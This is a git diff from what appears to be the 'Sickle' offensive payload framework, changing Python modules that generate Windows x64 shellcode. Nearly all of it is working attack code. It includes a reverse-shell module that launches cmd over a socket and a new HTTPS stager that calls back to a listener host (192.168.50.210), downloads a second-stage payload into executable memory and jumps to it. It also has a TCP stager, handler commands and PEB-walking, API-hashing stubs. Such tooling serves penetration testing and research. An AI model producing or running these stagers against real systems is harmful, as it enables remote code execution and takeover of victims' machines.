sin_family = struct.pack('>H', ws2def.AF_INET).hex()
|
||||
sin_addr = hex(convert.ip_str_to_inet_addr(self.lhost))
|
||||
|
||||
shellcode = f"""
|
||||
_start:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
sub rsp, {self.stack_space}
|
||||
and rsp, 0xfffffffffffffff0
|
||||
|
||||
call getKernel32
|
||||
mov rdi, rax
|
||||
"""
|
||||
|
||||
shellcode += self.resolve_functions()
|
||||
|
||||
shellcode += f"""
|
||||
src = f"""
|
||||
; RAX => WSAStartup([in] WORD wVersionRequired, // RCX => MAKEWORD(2, 2)
|
||||
; [out] LPWSADATA lpWSAData); // RDX => &wsaData
|
||||
call_WSAStartup:
|
||||
@@ -331,14 +224,36 @@ init_STARTUPINFOA:
|
||||
; [in, optional] LPCSTR lpCurrentDirectory, // RSP+0x38 => NULL
|
||||
; [in] LPSTARTUPINFOA lpStartupInfo, // RSP+0x40 => &lpStartupInfo
|
||||
; [out] LPPROCESS_INFORMATION lpProcessInformation); // RSP+0x48 => &lpStartupInfo
|
||||
call_CreateProccessA:
|
||||
xor ecx, ecx
|
||||
mov rdx, rbp
|
||||
lea rdx, [rbp - {self.storage_offsets['lpCommandLine']}]
|
||||
xor rax, rax
|
||||
mov eax, 0x646d63
|
||||
mov [rdx], rax
|
||||
xor r8, r8
|
||||
call_CreateProccessA:\n"""
|
||||
|
||||
cmd_buffer = convert.from_str_to_xwords(self.shell)
|
||||
write_index = self.storage_offsets['lpCommandLine']
|
||||
|
||||
for i in range(len(cmd_buffer["QWORD_LIST"])):
|
||||
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', cmd_buffer["QWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(cmd_buffer["DWORD_LIST"])):
|
||||
src += " mov ecx, 0x{}\n".format( struct.pack('<L', cmd_buffer["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(cmd_buffer["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', cmd_buffer["WORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(cmd_buffer["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(cmd_buffer["BYTE_LIST"][i]) )
|
||||
src += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f""" xor rcx, rcx
|
||||
mov [rbp - {write_index}], cl
|
||||
lea rdx, [rbp - {self.storage_offsets['lpCommandLine']}]\n"""
|
||||
|
||||
src += f""" xor r8, r8
|
||||
xor r9, r9
|
||||
xor eax, eax
|
||||
inc eax
|
||||
@@ -351,33 +266,22 @@ call_CreateProccessA:
|
||||
lea rbx, [rbp - {self.storage_offsets['lpProcessInformation']}]
|
||||
mov [rsp + 0x48], rbx
|
||||
mov rax, [rbp - {self.storage_offsets['CreateProcessA']}]
|
||||
call rax
|
||||
call rax\n"""
|
||||
|
||||
; RAX => TerminateProcess([in] HANDLE hProcess, // RCX => -1 (Current Process)
|
||||
; [in] UINT uExitCode); // RDX => 0x00 (Clean Exit)
|
||||
call_TerminateProcess:
|
||||
xor rcx, rcx
|
||||
dec rcx
|
||||
xor rdx, rdx
|
||||
mov rax, [rbp - {self.storage_offsets['TerminateProcess']}]
|
||||
call rax
|
||||
|
||||
fin:
|
||||
leave
|
||||
ret
|
||||
"""
|
||||
|
||||
shellcode += self.get_kernel32()
|
||||
shellcode += self.lookup_function()
|
||||
|
||||
return shellcode
|
||||
return src
|
||||
|
||||
def get_shellcode(self):
|
||||
"""Generates Windows (x64) generic reverse shell
|
||||
"""Generates Shellcode
|
||||
"""
|
||||
|
||||
generator = Assembler(Shellcode.arch)
|
||||
win_stubs = stubhub.WinRawr(self.storage_offsets,
|
||||
self.dependencies,
|
||||
self.stack_space,
|
||||
self.exit_func)
|
||||
|
||||
src = self.generate_source()
|
||||
main_src = self.gen_main()
|
||||
src = win_stubs.gen_source(main_src)
|
||||
shellcode = generator.get_bytes_from_asm(src)
|
||||
|
||||
return generator.get_bytes_from_asm(src)
|
||||
return shellcode
|
||||
|
||||
@@ -0,0 +1,390 @@
|
||||
import sys
|
||||
import struct
|
||||
|
||||
from sickle.common.lib.generic import convert
|
||||
from sickle.common.lib.generic import modparser
|
||||
from sickle.common.lib.programmer import builder
|
||||
from sickle.common.lib.programmer import stubhub
|
||||
|
||||
from sickle.common.lib.reversing.assembler import Assembler
|
||||
|
||||
from sickle.common.headers.windows import (
|
||||
winnt,
|
||||
)
|
||||
|
||||
class Shellcode():
|
||||
|
||||
arch = "x64"
|
||||
|
||||
platform = "windows"
|
||||
|
||||
name = f"Windows ({arch}) VirtualAlloc Shellcode Loader (HTTPS)"
|
||||
|
||||
module = f"{platform}/{arch}/virtualalloc_exec_https"
|
||||
|
||||
example_run = f"{sys.argv[0]} -p {module} LHOST=192.168.50.210 LPORT=443 -f c"
|
||||
|
||||
ring = 3
|
||||
|
||||
author = ["wetw0rk"]
|
||||
|
||||
tested_platforms = ["Windows 10 (10.0.19045 N/A Build 19045)"]
|
||||
|
||||
summary = ("A lightweight stager that connects to a handler over HTTPS to receive and execute shellcode")
|
||||
|
||||
description = ("This shellcode stub connects to a remote server handler over HTTPS, downloads a second-stage"
|
||||
" payload, and executes it. You can generate this initial stager using the following syntax."
|
||||
"\n\n"
|
||||
|
||||
f" {sys.argv[0]} -p {module} LHOST=192.168.50.210 LPORT=443 -f c"
|
||||
|
||||
"\n\n"
|
||||
|
||||
"Sickle can be used to start a handler as shown below:\n\n"
|
||||
|
||||
f" {sys.argv[0]} -m handler -p windows/x64/reflective_pe_loader EXE=/tmp/payload.exe "
|
||||
"HANDLER=https SRVHOST=192.168.50.210 SRVPORT=443\n\n"
|
||||
|
||||
"Upon execution of the first stage, you should get a connection from the target on your handler"
|
||||
" and the second stage should begin executing on the target machine")
|
||||
|
||||
arguments = {}
|
||||
arguments["LHOST"] = {}
|
||||
arguments["LHOST"]["optional"] = "no"
|
||||
arguments["LHOST"]["description"] = "Listener host to receive the callback"
|
||||
|
||||
arguments["LPORT"] = {}
|
||||
arguments["LPORT"]["optional"] = "yes"
|
||||
arguments["LPORT"]["description"] = "Listening port on listener host"
|
||||
|
||||
advanced = {}
|
||||
advanced["USER_AGENT"] = {}
|
||||
advanced["USER_AGENT"]["optional"] = "yes"
|
||||
advanced["USER_AGENT"]["description"] = "User agent to use for HTTPS communication"
|
||||
|
||||
advanced["REQUEST"] = {}
|
||||
advanced["REQUEST"]["optional"] = "yes"
|
||||
advanced["REQUEST"]["description"] = "The HTTP request to use when fetching the second stage"
|
||||
advanced["REQUEST"]["options"] = { "GET": "Standard GET request" }
|
||||
|
||||
advanced["PATH"] = {}
|
||||
advanced["PATH"]["optional"] = "yes"
|
||||
advanced["PATH"]["description"] = "The HTTP path where the payload is hosted on the target server"
|
||||
|
||||
def __init__(self, arg_object):
|
||||
|
||||
self.arg_list = arg_object["positional arguments"]
|
||||
|
||||
self.dependencies = {
|
||||
"Kernel32.dll": [
|
||||
"LoadLibraryA",
|
||||
"VirtualAlloc",
|
||||
],
|
||||
"wininet.dll" : [
|
||||
"InternetOpenA",
|
||||
"InternetConnectA",
|
||||
"HttpOpenRequestA",
|
||||
"InternetSetOptionA",
|
||||
"HttpSendRequestA",
|
||||
"InternetReadFile",
|
||||
],
|
||||
}
|
||||
|
||||
self.set_args()
|
||||
|
||||
sc_args = builder.init_sc_args(self.dependencies)
|
||||
sc_args.update({
|
||||
"caUserAgent" : self.user_agent_size,
|
||||
"caHost" : len(self.lhost),
|
||||
"caPath" : len(self.path),
|
||||
"caRequest" : 0x00,
|
||||
"lpdwNumberOfBytesRead" : 0x00,
|
||||
"lpvShellcode" : 0x00,
|
||||
"hInternet" : 0x00,
|
||||
"hConnect" : 0x00,
|
||||
"hRequest" : 0x00,
|
||||
"dwFlags" : 0x00,
|
||||
"dwSize" : 0x00,
|
||||
})
|
||||
|
||||
self.stack_space = builder.calc_stack_space(sc_args)
|
||||
self.storage_offsets = builder.gen_offsets(sc_args)
|
||||
|
||||
return
|
||||
|
||||
def set_args(self):
|
||||
"""Configure the arguments that may be used by the shellcode stub
|
||||
"""
|
||||
|
||||
all_args = Shellcode.arguments
|
||||
all_args.update(Shellcode.advanced)
|
||||
argv_dict = modparser.argument_check(all_args, self.arg_list)
|
||||
if (argv_dict == None):
|
||||
exit(-1)
|
||||
|
||||
# Configure the options used by the host to obtain the callback
|
||||
if "LPORT" not in argv_dict.keys():
|
||||
self.lport = 4242
|
||||
else:
|
||||
self.lport = int(argv_dict["LPORT"])
|
||||
|
||||
self.lhost = argv_dict['LHOST']
|
||||
|
||||
# Set the User-Agent
|
||||
if "USER_AGENT" not in argv_dict.keys():
|
||||
self.user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.3485.66"
|
||||
else:
|
||||
self.user_agent = argv_dict["USER_AGENT"]
|
||||
|
||||
self.user_agent_size = len(self.user_agent)
|
||||
|
||||
# Set the request type
|
||||
req_type = "GET"
|
||||
if "REQUEST" not in argv_dict.keys():
|
||||
req_type = b"GET"
|
||||
else:
|
||||
req_type = bytes(argv_dict["REQUEST"], 'latin-1')
|
||||
|
||||
# Ensure that the request can be packed
|
||||
req_type += b"\x00" * (8 - len(req_type))
|
||||
self.request = hex( struct.unpack('>Q', req_type[::-1])[0] )
|
||||
|
||||
|
||||
# Set the SSL flags
|
||||
self.dwSSLFlags = (0x00800000 | 0x00001000)
|
||||
self.dwFlags = (0x00000100 | 0x10000000 | 0x00000200)
|
||||
|
||||
# Set the HTTP path
|
||||
if "PATH" not in argv_dict.keys():
|
||||
self.path = "/corn"
|
||||
else:
|
||||
self.path = argv_dict["PATH"]
|
||||
|
||||
def gen_main(self):
|
||||
"""Returns assembly source code for the main functionality of the stub
|
||||
"""
|
||||
|
||||
user_agent_buffer = convert.from_str_to_xwords(self.user_agent)
|
||||
write_index = self.storage_offsets['caUserAgent']
|
||||
|
||||
src = ""
|
||||
for i in range(len(user_agent_buffer["QWORD_LIST"])):
|
||||
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', user_agent_buffer["QWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(user_agent_buffer["DWORD_LIST"])):
|
||||
src += " mov ecx, 0x{}\n".format( struct.pack('<L', user_agent_buffer["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(user_agent_buffer["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', user_agent_buffer["WORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(user_agent_buffer["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(user_agent_buffer["BYTE_LIST"][i]) )
|
||||
src += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f"""
|
||||
xor rcx, rcx
|
||||
mov [rbp - {write_index}], cl
|
||||
lea rcx, [rbp - {self.storage_offsets['caUserAgent']}]\n"""
|
||||
|
||||
src += f"""
|
||||
; HINTERNET InternetOpenA([in] LPCSTR lpszAgent,
|
||||
; [in] DWORD dwAccessType,
|
||||
; [in] LPCSTR lpszProxy,
|
||||
; [in] LPCSTR lpszProxyBypass,
|
||||
; [in] DWORD dwFlags);
|
||||
xor rdx, rdx
|
||||
xor r8, r8
|
||||
xor r9, r9
|
||||
mov [rsp + 0x20], r9
|
||||
mov rax, [rbp - {self.storage_offsets['InternetOpenA']}]
|
||||
call rax
|
||||
mov [rbp - {self.storage_offsets['hInternet']}], rax\n"""
|
||||
|
||||
lhost_buffer = convert.from_str_to_xwords(self.lhost)
|
||||
write_index = self.storage_offsets['caHost']
|
||||
|
||||
for i in range(len(lhost_buffer["QWORD_LIST"])):
|
||||
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', lhost_buffer["QWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(lhost_buffer["DWORD_LIST"])):
|
||||
src += " mov ecx, 0x{}\n".format( struct.pack('<L', lhost_buffer["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(lhost_buffer["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', lhost_buffer["WORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(lhost_buffer["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(lhost_buffer["BYTE_LIST"][i]) )
|
||||
src += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f"""
|
||||
xor rcx, rcx
|
||||
mov [rbp - {write_index}], cl
|
||||
lea rdx, [rbp - {self.storage_offsets['caHost']}]\n"""
|
||||
|
||||
src += f"""
|
||||
; HINTERNET InternetConnectA([in] HINTERNET hInternet,
|
||||
; [in] LPCSTR lpszServerName,
|
||||
; [in] INTERNET_PORT nServerPort,
|
||||
; [in] LPCSTR lpszUserName,
|
||||
; [in] LPCSTR lpszPassword,
|
||||
; [in] DWORD dwService,
|
||||
; [in] DWORD dwFlags,
|
||||
; [in] DWORD_PTR dwContext);
|
||||
mov rcx, [rbp - {self.storage_offsets['hInternet']}]
|
||||
mov r8, {hex(self.lport)}
|
||||
xor r9, r9
|
||||
mov [rsp + 0x20], r9
|
||||
mov r11, 0x03
|
||||
mov [rsp + 0x28], r11
|
||||
mov [rsp + 0x30], r9
|
||||
mov [rsp + 0x38], r9
|
||||
mov rax, [rbp - {self.storage_offsets['InternetConnectA']}]
|
||||
call rax
|
||||
mov [rbp - {self.storage_offsets['hConnect']}], rax\n"""
|
||||
|
||||
path_buffer = convert.from_str_to_xwords(self.path)
|
||||
write_index = self.storage_offsets['caPath']
|
||||
|
||||
for i in range(len(path_buffer["QWORD_LIST"])):
|
||||
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', path_buffer["QWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(path_buffer["DWORD_LIST"])):
|
||||
src += " mov ecx, 0x{}\n".format( struct.pack('<L', path_buffer["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(path_buffer["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', path_buffer["WORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(path_buffer["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(path_buffer["BYTE_LIST"][i]) )
|
||||
src += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f"""
|
||||
xor rcx, rcx
|
||||
mov [rbp - {write_index}], cl
|
||||
lea r8, [rbp - {self.storage_offsets['caPath']}]\n"""
|
||||
|
||||
src += f"""
|
||||
; HINTERNET HttpOpenRequestA([in] HINTERNET hConnect,
|
||||
; [in] LPCSTR lpszVerb,
|
||||
; [in] LPCSTR lpszObjectName,
|
||||
; [in] LPCSTR lpszVersion,
|
||||
; [in] LPCSTR lpszReferrer,
|
||||
; [in] LPCSTR *lplpszAcceptTypes,
|
||||
; [in] DWORD dwFlags,
|
||||
; [in] DWORD_PTR dwContext);
|
||||
mov rcx, [rbp - {self.storage_offsets['hConnect']}]
|
||||
mov r11, {self.request}
|
||||
mov [rbp - {self.storage_offsets['caRequest']}], r11
|
||||
lea rdx, [rbp - {self.storage_offsets['caRequest']}]
|
||||
xor r9, r9
|
||||
mov [rsp + 0x20], r9
|
||||
mov [rsp + 0x28], r9
|
||||
mov r11, {hex(self.dwSSLFlags)}
|
||||
mov [rsp + 0x30], r11
|
||||
mov [rsp + 0x38], r9
|
||||
mov rax, [rbp - {self.storage_offsets['HttpOpenRequestA']}]
|
||||
call rax
|
||||
mov [rbp - {self.storage_offsets['hRequest']}], rax
|
||||
|
||||
; BOOL InternetSetOptionA([in] HINTERNET hInternet,
|
||||
; [in] DWORD dwOption,
|
||||
; [in] LPVOID lpBuffer,
|
||||
; [in] DWORD dwBufferLength);
|
||||
mov rcx, [rbp - {self.storage_offsets['hRequest']}]
|
||||
mov rdx, 0x1F
|
||||
mov r11, {hex(self.dwFlags)}
|
||||
mov [rbp - {self.storage_offsets['dwFlags']}], r11
|
||||
lea r8, [rbp - {self.storage_offsets['dwFlags']}]
|
||||
mov r9, 0x04
|
||||
mov rax, [rbp - {self.storage_offsets['InternetSetOptionA']}]
|
||||
call rax
|
||||
|
||||
; BOOL HttpSendRequestA([in] HINTERNET hRequest,
|
||||
; [in] LPCSTR lpszHeaders,
|
||||
; [in] DWORD dwHeadersLength,
|
||||
; [in] LPVOID lpOptional,
|
||||
; [in] DWORD dwOptionalLength);
|
||||
mov rcx, [rbp - {self.storage_offsets['hRequest']}]
|
||||
xor rdx, rdx
|
||||
xor r8, r8
|
||||
xor r9, r9
|
||||
mov [rsp + 0x20], r9
|
||||
mov rax, [rbp - {self.storage_offsets['HttpSendRequestA']}]
|
||||
call rax
|
||||
|
||||
; BOOL InternetReadFile([in] HINTERNET hFile,
|
||||
; [out] LPVOID lpBuffer,
|
||||
; [in] DWORD dwNumberOfBytesToRead,
|
||||
; [out] LPDWORD lpdwNumberOfBytesRead);
|
||||
lea rdx, [rbp - {self.storage_offsets['dwSize']}]
|
||||
mov r8, 0x08
|
||||
call_InternetReadFile:
|
||||
mov rcx, [rbp - {self.storage_offsets['hRequest']}]
|
||||
lea r9, [rbp - {self.storage_offsets['lpdwNumberOfBytesRead']}]
|
||||
mov rax, [rbp - {self.storage_offsets['InternetReadFile']}]
|
||||
call rax
|
||||
|
||||
mov eax, [rbp - {self.storage_offsets['lpdwNumberOfBytesRead']}]
|
||||
cmp rax, 0x08
|
||||
jg download_complete
|
||||
|
||||
; LPVOID VirtualAlloc([in, optional] LPVOID lpAddress,
|
||||
; [in] SIZE_T dwSize,
|
||||
; [in] DWORD flAllocationType,
|
||||
; [in] DWORD flProtect);
|
||||
call_VirtualAlloc:
|
||||
mov rcx, [rbp - {self.storage_offsets['lpvShellcode']}]
|
||||
mov rdx, [rbp - {self.storage_offsets['dwSize']}]
|
||||
mov r8, {winnt.MEM_COMMIT | winnt.MEM_RESERVE}
|
||||
mov r9, {winnt.PAGE_EXECUTE_READWRITE}
|
||||
mov rax, [rbp - {self.storage_offsets['VirtualAlloc']}]
|
||||
call rax
|
||||
|
||||
mov [rbp - {self.storage_offsets['lpvShellcode']}], rax
|
||||
mov rdx, rax
|
||||
mov r8, [rbp - {self.storage_offsets['dwSize']}]
|
||||
|
||||
jmp call_InternetReadFile
|
||||
|
||||
download_complete:
|
||||
jmp [rbp - {self.storage_offsets['lpvShellcode']}]\n"""
|
||||
|
||||
|
||||
return src
|
||||
|
||||
def get_shellcode(self):
|
||||
"""Generates shellcode
|
||||
"""
|
||||
|
||||
generator = Assembler(Shellcode.arch)
|
||||
win_stubs = stubhub.WinRawr(self.storage_offsets,
|
||||
self.dependencies,
|
||||
self.stack_space,
|
||||
None)
|
||||
|
||||
main_src = self.gen_main()
|
||||
src = win_stubs.gen_source(main_src)
|
||||
shellcode = generator.get_bytes_from_asm(src)
|
||||
|
||||
return shellcode
|
||||
@@ -1,20 +1,17 @@
|
||||
import sys
|
||||
import math
|
||||
import ctypes
|
||||
import struct
|
||||
|
||||
from sickle.common.lib.generic import extract
|
||||
from sickle.common.lib.generic import convert
|
||||
from sickle.common.lib.generic import modparser
|
||||
from sickle.common.lib.programmer import builder
|
||||
from sickle.common.lib.programmer import stubhub
|
||||
|
||||
from sickle.common.lib.reversing.assembler import Assembler
|
||||
|
||||
from sickle.common.headers.windows import (
|
||||
winnt,
|
||||
ntdef,
|
||||
ws2def,
|
||||
winternl
|
||||
)
|
||||
|
||||
class Shellcode():
|
||||
@@ -23,7 +20,7 @@ class Shellcode():
|
||||
|
||||
platform = "windows"
|
||||
|
||||
name = f"Windows ({arch}) VirtualAlloc Shellcode Loader"
|
||||
name = f"Windows ({arch}) VirtualAlloc Shellcode Loader (TCP)"
|
||||
|
||||
module = f"{platform}/{arch}/virtualalloc_exec_tcp"
|
||||
|
||||
@@ -38,15 +35,19 @@ class Shellcode():
|
||||
summary = ("A lightweight stager that connects to a handler via TCP over IPv4 to receive and execute shellcode")
|
||||
|
||||
description = ("This shellcode stub connects to a remote server handler over TCP, downloads a second-stage"
|
||||
" payload, and executes it.\n\n"
|
||||
" payload, and executes it. You can generate this initial stager using the following syntax."
|
||||
"\n\n"
|
||||
|
||||
"Your handler can be as simple as combining Sickle and Netcat:\n\n"
|
||||
f" {sys.argv[0]} -p windows/x64/virtualalloc_exec_tcp LHOST=192.168.50.210 LPORT=80 -f c"
|
||||
|
||||
"\n\n"
|
||||
|
||||
f" {sys.argv[0]} -p windows/x64/reflective_pe EXE=/path/doom.exe -f raw | nc -lvp 8080\n\n"
|
||||
"Sickle can be used to start a handler as shown below:\n\n"
|
||||
|
||||
f" {sys.argv[0]} -m handler -p windows/x64/reflective_pe_loader EXE=/tmp/payload.exe HANDLER=tcp SRVHOST=192.168.50.210 SRVPORT=80\n\n"
|
||||
|
||||
"Upon execution of the first stage, you should get a connection from the target on your"
|
||||
" handler. If using Netcat, hit [CTRL]+[C]. Upon doing so, your shellcode should execute"
|
||||
" in memory.")
|
||||
" handler.")
|
||||
|
||||
arguments = {}
|
||||
arguments["LHOST"] = {}
|
||||
@@ -74,199 +75,60 @@ class Shellcode():
|
||||
],
|
||||
}
|
||||
|
||||
self.set_args()
|
||||
|
||||
sc_args = builder.init_sc_args(self.dependencies)
|
||||
sc_args.update({
|
||||
"wsaData" : 0x00,
|
||||
"sockaddr_name" : 0x00,
|
||||
"sockfd" : 0x00,
|
||||
"pResponse" : 0x00,
|
||||
"lpvShellcode" : 0x00,
|
||||
"dwSize" : 0x00,
|
||||
})
|
||||
|
||||
self.stack_space = builder.calc_stack_space(sc_args)
|
||||
self.storage_offsets = builder.gen_offsets(sc_args)
|
||||
self.sock_buffer_size = 0x1000 * 1100
|
||||
|
||||
return
|
||||
|
||||
def get_kernel32(self):
|
||||
"""Generates stub for obtaining the base address of Kernel32.dll
|
||||
def set_args(self):
|
||||
"""Configure the arguments that may be used by the shellcode stub
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
getKernel32:
|
||||
mov dl, 0x4b
|
||||
getPEB:
|
||||
mov rcx, 0x60
|
||||
mov r8, gs:[rcx]
|
||||
getHeadEntry:
|
||||
mov rdi, [r8 + {winternl._PEB.Ldr.offset}]
|
||||
mov rdi, [rdi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
|
||||
search:
|
||||
xor rcx, rcx
|
||||
mov rax, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
|
||||
mov rsi, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
|
||||
mov rdi, [rdi]
|
||||
cmp [rsi + 0x18], cx
|
||||
jne search
|
||||
cmp [rsi], dl
|
||||
jne search
|
||||
found:
|
||||
ret
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def lookup_function(self):
|
||||
"""Generates the stub responsible for obtaining the base address of a function
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
lookupFunction:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov ebx, [rdi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
|
||||
add rbx, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER64.DataDirectory.offset}
|
||||
add rbx, rdi
|
||||
mov eax, [rbx]
|
||||
mov rbx, rdi
|
||||
add rbx, rax
|
||||
mov eax, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
|
||||
mov r8, rdi
|
||||
add r8, rax
|
||||
mov rcx, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
|
||||
parseNames:
|
||||
jecxz error
|
||||
dec ecx
|
||||
mov eax, [r8 + rcx * 4]
|
||||
mov rsi, rdi
|
||||
add rsi, rax
|
||||
xor r9, r9
|
||||
xor rax, rax
|
||||
cld
|
||||
calcHash:
|
||||
lodsb
|
||||
test al, al
|
||||
jz calcDone
|
||||
ror r9d, 0xD
|
||||
add r9, rax
|
||||
jmp calcHash
|
||||
calcDone:
|
||||
cmp r9d, edx
|
||||
jnz parseNames
|
||||
findAddress:
|
||||
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
|
||||
add r8, rdi
|
||||
xor rax, rax
|
||||
mov ax, [r8 + rcx * 2]
|
||||
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
|
||||
add r8, rdi
|
||||
mov eax, [r8 + rax * 4]
|
||||
add rax, rdi
|
||||
error:
|
||||
leave
|
||||
ret
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def load_library(self, lib):
|
||||
"""Generates the stub to load a library not currently loaded into a process
|
||||
"""
|
||||
|
||||
lists = convert.from_str_to_xwords(lib)
|
||||
write_index = self.storage_offsets['functionName']
|
||||
|
||||
src = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
|
||||
|
||||
for i in range(len(lists["QWORD_LIST"])):
|
||||
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', lists["QWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(lists["DWORD_LIST"])):
|
||||
src += " mov ecx, dword 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(lists["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(lists["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
|
||||
src += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f"""
|
||||
xor rcx, rcx
|
||||
mov [rbp-{write_index}], cl
|
||||
lea rcx, [rbp - {self.storage_offsets['functionName']}]
|
||||
mov rax, [rbp - {self.storage_offsets['LoadLibraryA']}]
|
||||
call rax
|
||||
"""
|
||||
|
||||
return src
|
||||
|
||||
def resolve_functions(self):
|
||||
"""This function is responsible for loading all libraries and resolving respective functions
|
||||
"""
|
||||
|
||||
stub = ""
|
||||
for lib, imports in self.dependencies.items():
|
||||
if (lib != "Kernel32.dll"):
|
||||
stub += self.load_library(lib)
|
||||
stub += """
|
||||
mov rdi, rax
|
||||
"""
|
||||
|
||||
for func in range(len(imports)):
|
||||
stub += f"""
|
||||
get_{imports[func]}:
|
||||
mov rdx, {convert.from_str_to_win_hash(imports[func])}
|
||||
call lookupFunction
|
||||
mov [rbp - {self.storage_offsets[imports[func]]}], rax
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def generate_source(self):
|
||||
"""Returns bytecode generated by the keystone engine.
|
||||
"""
|
||||
|
||||
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
|
||||
|
||||
all_args = Shellcode.arguments
|
||||
argv_dict = modparser.argument_check(all_args, self.arg_list)
|
||||
if (argv_dict == None):
|
||||
exit(-1)
|
||||
|
||||
if ("LPORT" not in argv_dict.keys()):
|
||||
lport = 4444
|
||||
# Configure the options used by the host to obtain the callback
|
||||
if "LPORT" not in argv_dict.keys():
|
||||
self.lport = 4242
|
||||
else:
|
||||
lport = int(argv_dict["LPORT"])
|
||||
self.lport = int(argv_dict["LPORT"])
|
||||
|
||||
sin_addr = hex(convert.ip_str_to_inet_addr(argv_dict['LHOST']))
|
||||
sin_port = struct.pack('<H', lport).hex()
|
||||
sin_family = struct.pack('>H', ws2def.AF_INET).hex()
|
||||
self.lhost = argv_dict['LHOST']
|
||||
|
||||
shellcode = f"""
|
||||
_start:
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
sub rsp, {self.stack_space}
|
||||
|
||||
call getKernel32
|
||||
mov rdi, rax
|
||||
def gen_main(self):
|
||||
"""Returns assembly source code for the main functionality of the stub
|
||||
"""
|
||||
|
||||
shellcode += self.resolve_functions()
|
||||
# Setup the members of the sockaddr structure
|
||||
sin_port = struct.pack('<H', self.lport).hex()
|
||||
sin_family = struct.pack('>H', ws2def.AF_INET).hex()
|
||||
